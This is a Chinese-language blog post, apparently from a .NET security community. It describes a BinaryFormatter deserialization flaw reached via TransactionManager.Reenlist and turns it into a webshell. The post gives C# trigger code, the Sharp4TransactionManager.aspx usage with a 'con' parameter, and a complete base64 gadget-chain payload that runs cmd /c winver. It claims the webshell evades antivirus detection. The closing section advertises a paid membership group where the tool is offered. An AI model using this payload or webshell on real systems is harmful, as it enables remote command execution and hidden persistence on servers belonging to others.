01
分布式事务反序列化
TransactionManager.Reenlist 是 TransactionManager 类的一个方法,用于在事务中某些情况下需要重新注册的参与者,通常用于事务在处理过程保持一致性。
byte[] serializedData = Convert.FromBase64String(payload);
byte[] newSerializedData = new byte[serializedData.Length + 5]; serializedData.CopyTo(newSerializedData, 5);
newSerializedData[0] = 1;
TestMe myTransactionEnlistment = new TestMe();
TransactionManager.Reenlist(Guid.NewGuid(), newSerializedData, myTransactionEnlistment);
Reenlist方法通过创建一个 MemoryStream 对象来读取传入的序列化数据,然后使用binaryReader 从流中读取一个 32 位整数值,并将其存储在变量 num 中,并且检查整数值是否为1,也就是说第一位字节码必须是1,因此在重组事务数据时使用了newSerializedData[0] = 1。
接着调用oletxTransactionManager.ReenlistTransaction方法,用于有效性检查和获取相关资源,便于重新注册事务
从图上调试显示进入核心方法 “oletxResourceManager.Reenlist”,内部调用了BinaryFormatter格式化器 formatter,用于反序列化恢复事务对象信息,也因此加载恶意的攻击载荷触发了反序列化漏洞。
02
分布式事务实现WebShell
在.NET领域可以将这个漏洞修改成Webshell,巧妙地利用了base64编码和yso生成的特性,成功实现了免杀。通过构造特定的HTTP请求,可以执行恶意命令,例如启动系统进程(如winver),从而在目标服务器上执行攻击者所期望的操作。
这个Webshell的用法相对简单,通过访问Sharp4TransactionManager.aspx页面,并携带执行命令的con参数,即可触发后台恶意代码的执行。具体的用法示例如下:
Sharp4TransactionManager.aspx?con=AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAtQU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIHdpbnZlciIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L
通过执行这个请求,Webshell会触发执行命令,从而启动了winver进程。这种新型的Webshell利用了一系列编码和技术手段,成功绕过了杀软的检测,呈现出一定的隐蔽性。工具已打包放入星球主题,请加入星球的师傅们自取。
03
欢迎加入我们的知识库
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。经过运营团队成员商议一致同意给到师傅们最大优惠力度,只需199元就可以加入我们。
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们还有一个会员专属的星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。